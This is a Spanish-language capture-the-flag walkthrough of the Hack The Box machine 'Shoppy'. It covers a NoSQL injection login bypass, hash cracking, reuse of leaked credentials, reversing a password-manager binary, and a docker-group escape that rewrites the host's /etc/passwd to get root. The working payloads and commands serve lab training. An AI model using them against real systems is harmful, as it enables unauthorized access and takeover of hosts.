Shoppy
8 minutos de lectura
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.180
- Fecha: 17 / 09 / 2022
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.180 -p 22,80,9093
Nmap scan report for 10.10.11.180
Host is up (0.058s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
| 256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_ 256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp open http nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Shoppy Wait Page
9093/tcp open copycat?
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/plain; version=0.0.4; charset=utf-8
| Date:
| HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
| TYPE go_gc_cycles_automatic_gc_cycles_total counter
| go_gc_cycles_automatic_gc_cycles_total 5
| HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
| TYPE go_gc_cycles_forced_gc_cycles_total counter
| go_gc_cycles_forced_gc_cycles_total 0
| HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
| TYPE go_gc_cycles_total_gc_cycles_total counter
| go_gc_cycles_total_gc_cycles_total 5
| HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
| TYPE go_gc_duration_seconds summary
| go_gc_duration_seconds{quantile="0"} 2.3393e-05
| go_gc_duration_seconds{quantile="0.25"} 6.0765e-05
| go_gc_dur
| HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/plain; version=0.0.4; charset=utf-8
| Date:
| HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
| TYPE go_gc_cycles_automatic_gc_cycles_total counter
| go_gc_cycles_automatic_gc_cycles_total 5
| HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
| TYPE go_gc_cycles_forced_gc_cycles_total counter
| go_gc_cycles_forced_gc_cycles_total 0
| HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
| TYPE go_gc_cycles_total_gc_cycles_total counter
| go_gc_cycles_total_gc_cycles_total 5
| HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
| TYPE go_gc_duration_seconds summary
| go_gc_duration_seconds{quantile="0"} 2.3393e-05
| go_gc_duration_seconds{quantile="0.25"} 6.0765e-05
|_ go_gc_dur
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 103.76 seconds
La máquina tiene abietos los puertos 22 (SSH), 80 (HTTP) y 9093.
Enumeración
Si vamos a http://10.10.11.180
, se nos redirige a http://shoppy.htb
. Después de poner el dominio en /etc/hosts
, vemos esta página:
En primer lugar, vamos a enumerar rutas con ffuf
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://shoppy.htb/FUZZ
images [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 101ms]
login [Status: 200, Size: 1074, Words: 152, Lines: 26, Duration: 127ms]
admin [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 75ms]
assets [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 53ms]
css [Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 51ms]
Login [Status: 200, Size: 1074, Words: 152, Lines: 26, Duration: 62ms]
js [Status: 301, Size: 171, Words: 7, Lines: 11, Duration: 46ms]
fonts [Status: 301, Size: 177, Words: 7, Lines: 11, Duration: 43ms]
Admin [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 76ms]
exports [Status: 301, Size: 181, Words: 7, Lines: 11, Duration: 121ms]
[Status: 200, Size: 2178, Words: 853, Lines: 57, Duration: 51ms]
LogIn [Status: 200, Size: 1074, Words: 152, Lines: 26, Duration: 77ms]
LOGIN [Status: 200, Size: 1074, Words: 152, Lines: 26, Duration: 66ms]
Y tenemos este formulario de inicio de sesión:
Acepta tanto codificación URL como datos en JSON:
$ curl shoppy.htb/login -id 'username=asdf&password=asdf'
HTTP/1.1 302 Found
Server: nginx/1.23.1
Date:
Content-Type: text/plain; charset=utf-8
Content-Length: 51
Connection: keep-alive
Location: /login?error=WrongCredentials
Vary: Accept
Found. Redirecting to /login?error=WrongCredentials
$ curl shoppy.htb/login -id '{"username":"asdf","password":"asdf"}' -H 'Content-Type: application/json'
HTTP/1.1 302 Found
Server: nginx/1.23.1
Date:
Content-Type: text/plain; charset=utf-8
Content-Length: 51
Connection: keep-alive
Location: /login?error=WrongCredentials
Vary: Accept
Found. Redirecting to /login?error=WrongCredentials
Acceso a la máquina
Si introducimor una comilla simple para probar inyecciones comunes, obtenemos un error 504 Gateway Time-out
:
$ curl shoppy.htb/login -id "username='&password=asdf"
HTTP/1.1 504 Gateway Time-out
Server: nginx/1.23.1
Date:
Content-Type: text/html
Content-Length: 167
Connection: keep-alive
<html>
<head><title>504 Gateway Time-out</title></head>
<body>
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.23.1</center>
</body>
</html>
Entonces, podemos deducir que el servidor falló.
También podemos obtener un nombre de usuario de sistema (jaeger
) en un mensaje de error:
$ curl shoppy.htb/login -id '{' -H 'Content-Type: application/json'
HTTP/1.1 400 Bad Request
Server: nginx/1.23.1
Date:
Content-Type: text/html; charset=utf-8
Content-Length: 1003
Connection: keep-alive
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected end of JSON input<br> at JSON.parse (<anonymous>)<br> at parse (/home/jaeger/ShoppyApp/node_modules/body-parser/lib/types/json.js:89:19)<br> at /home/jaeger/ShoppyApp/node_modules/body-parser/lib/read.js:128:18<br> at AsyncResource.runInAsyncScope (node:async_hooks:203:9)<br> at invokeCallback (/home/jaeger/ShoppyApp/node_modules/raw-body/index.js:231:16)<br> at done (/home/jaeger/ShoppyApp/node_modules/raw-body/index.js:220:7)<br> at IncomingMessage.onEnd (/home/jaeger/ShoppyApp/node_modules/raw-body/index.js:280:7)<br> at IncomingMessage.emit (node:events:513:28)<br> at endReadableNT (node:internal/streams/readable:1359:12)<br> at process.processTicksAndRejections (node:internal/process/task_queues:82:21)</pre>
</body>
</html>
Encontrando una inyección NoSQL
Después de probar payloads de inyección de código SQL, tenemos que probar inyecciones NoSQL. El gestor de bases de datos NoSQL más usado es MongoDB, por lo que podemos mirar en PayloadsAllTheThings y probar unos cuantos.
Finalmente, veremos que admin'||1=='1
funciona. De nuevo, hemos deducido que existe un usuario llamado admin
(aunque ffuf
mostró una ruta /admin
):
$ curl shoppy.htb/login -id "username=admin'||1=='1&password=asdf"
HTTP/1.1 302 Found
Server: nginx/1.23.1
Date:
Content-Type: text/plain; charset=utf-8
Content-Length: 28
Connection: keep-alive
Location: /admin
Vary: Accept
Set-Cookie: connect.sid=s%3A506EoVzvdIvr16rT-Knq0yOJjdoluPEw.ES4yGNxzYTgWMujnhgXXsyVPvhgV%2B%2F71NKeFEhm%2FaHg; Path=/; HttpOnly
Found. Redirecting to /admin
Esto es lo que vemos en el navegador:
También tenemos la posibilidad de buscar usuarios:
Podemos buscar por admin
:
Y obtenemos un hash de su contraseña…
Podríamos usar ffuf
para enumerar más usuarios, pero es mejor utilizar el mismo payload de inyección NoSQL de antes:
Aquí tenemos otro hash de contraseña. Si los ponemos en crackstation.net, romperemos el de josh
:
Podemos probar esta contraseña en SSH para josh
o jaeger
, pero no funcionan. Entonces, hemos llegado a un punto muerto.
Encontrando otro subdominio
Como la máquina utiliza shoppy.htb
, podríamos pensar que existen subdominios. Vamos a enumerar (la lista se puede encontrar en SecLists)
$ ffuf -w $WORDLISTS/bitquark-subdomains-top100000.txt -u http://10.10.11.180 -H 'Host: FUZZ.shoppy.htb' -fs 169
mattermost [Status: 200, Size: 3122, Words: 141, Lines: 1, Duration: 36ms]
Y ahora encontramos una aplicación MatterMost:
Aquí podemos acceder usando josh:remembermethisway
:
Por suerte, en uno de los canales encontramos credenciales en texto claro para acceder como jaeger
(Sh0ppyBest@pp!
):
Con las credenciales anteriores, ganamos acceso a la máquina y podemos leer la flag user.txt
:
$ ssh jaeger@10.10.11.180
jaeger@10.10.11.180's password:
jaeger@shoppy:~$ cat user.txt
38bebf32e7088d5bb384401051c42902
Enumeración del sistema
Este usuario puede ejecutar un binario ELF llamado password-manager
como usuario deploy
usando sudo
:
jaeger@shoppy:~$ sudo -l
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
jaeger@shoppy:~$ file /home/deploy/password-manager
/home/deploy/password-manager: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=400b2ed9d2b4121f9991060f343348080d2905d1, for GNU/Linux 3.2.0, not stripped
Movimiento lateral al usuario deploy
Si transferimos el binario a nuestra máquina y usamos Ghidra para descompilarlo, vemos que está escrito en C++. Esta es la función main
:
bool main() {
int iVar1;
basic_ostream *pbVar2;
basic_string<char, std::char_traits<char>, std::allocator<char>> local_68[32];
basic_string local_48[47];
allocator<char> local_19[9];
pbVar2 = std::operator<<((basic_ostream *) std::cout, "Welcome to Josh password manager!");
std::basic_ostream<char, std::char_traits<char>>::operator<<((basic_ostream<char, std::char_traits<char>> *) pbVar2, std::endl<char, std::char_traits<char>>);
std::operator<<((basic_ostream *) std::cout,"Please enter your master password: ");
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string();
/* try { // try from 00101263 to 00101267 has its CatchHandler @ 001013cb */
std::operator>>((basic_istream *) std::cin,local_48);
std::allocator<char>::allocator();
/* try { // try from 00101286 to 0010128a has its CatchHandler @ 001013a9 */
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string((char *) local_68, (allocator *) &DAT_0010205c);
std::allocator<char>::~allocator(local_19);
/* try { // try from 001012a5 to 00101387 has its CatchHandler @ 001013ba */
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator += (local_68, "S");
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator += (local_68, "a");
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator += (local_68, "m");
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator += (local_68, "p");
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator += (local_68, "l");
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator += (local_68, "e");
iVar1 = std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::compare(local_48);
if (iVar1 != 0) {
pbVar2 = std::operator<<((basic_ostream *) std::cout, "Access denied! This incident will be reported !");
std::basic_ostream<char, std::char_traits<char>>::operator<<((basic_ostream<char, std::char_traits<char>> *) pbVar2, std::endl<char, std::char_traits<char>>);
} else {
pbVar2 = std::operator<<((basic_ostream *) std::cout, "Access granted! Here is creds !");
std::basic_ostream<char, std::char_traits<char>>::operator<<((basic_ostream<char,std::char_traits<char>> *) pbVar2, std::endl<char, std::char_traits<char>>);
system("cat /home/deploy/creds.txt");
}
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string(local_68);
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string((basic_string<char, std::char_traits<char>, std::allocator<char>> *) local_48);
return iVar1 != 0;
}
El programa pregunta por una contraseña maestra, y se compara contra "Sample"
(la cadena se construye carácter a carácter). Luego el programa muestra la contraseña del usuario deploy
(guardada en /home/deploy/creds.txt
):
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
[sudo] password for jaeger:
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
Y con esto podemos pivotar al usuario deploy
:
jaeger@shoppy:~$ su deploy
Password:
$ bash
deploy@shoppy:/home/jaeger$
Escalada de privilegios
Este usuario no puede usar sudo
, pero pertenece al grupo docker
:
deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
Con esto, podemos ejecutar docker
. Vamos a ver qué imágenes tenemos:
deploy@shoppy:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest d7d3d98c851f 3 months ago 5.53MB
Usando docker
podemos crear un contenedor Docker que monte el sistema de archivos completo en el directorio /mnt
del contenedor y leer/escribir archivos pertenecientes a root
en la máquina anfitrión. Usaremos -v /:/mnt
para realizar el montaje del volumen:
deploy@shoppy:~$ docker run -v /:/mnt -it alpine sh
/ # hostname
1c035e131541
/ # ls /mnt
bin etc initrd.img.old lib64 media proc sbin tmp vmlinuz
boot home lib libx32 mnt root srv usr vmlinuz.old
dev initrd.img lib32 lost+found opt run sys var
/ # cat /mnt/root/root.txt
0cde64ed9c2278de8a4035756db7180a
Para conseguir una shell como root
en condiciones, podemos añadir una contraseña a root
en /etc/passwd
:
$ openssl passwd 7rocky
8juPOSsOaeytM
Usaré sed
para modificar el archivo /etc/passwd
de la máquina anfitrión, y luego obtendré una shell como root
en la máquina:
/ # sed -i s/root:x/root:8juPOSsOaeytM/g /mnt/etc/passwd
/ # exit
deploy@shoppy:~$ su root
Password:
root@shoppy:/home/deploy# cd
root@shoppy:~# cat root.txt
0cde64ed9c2278de8a4035756db7180a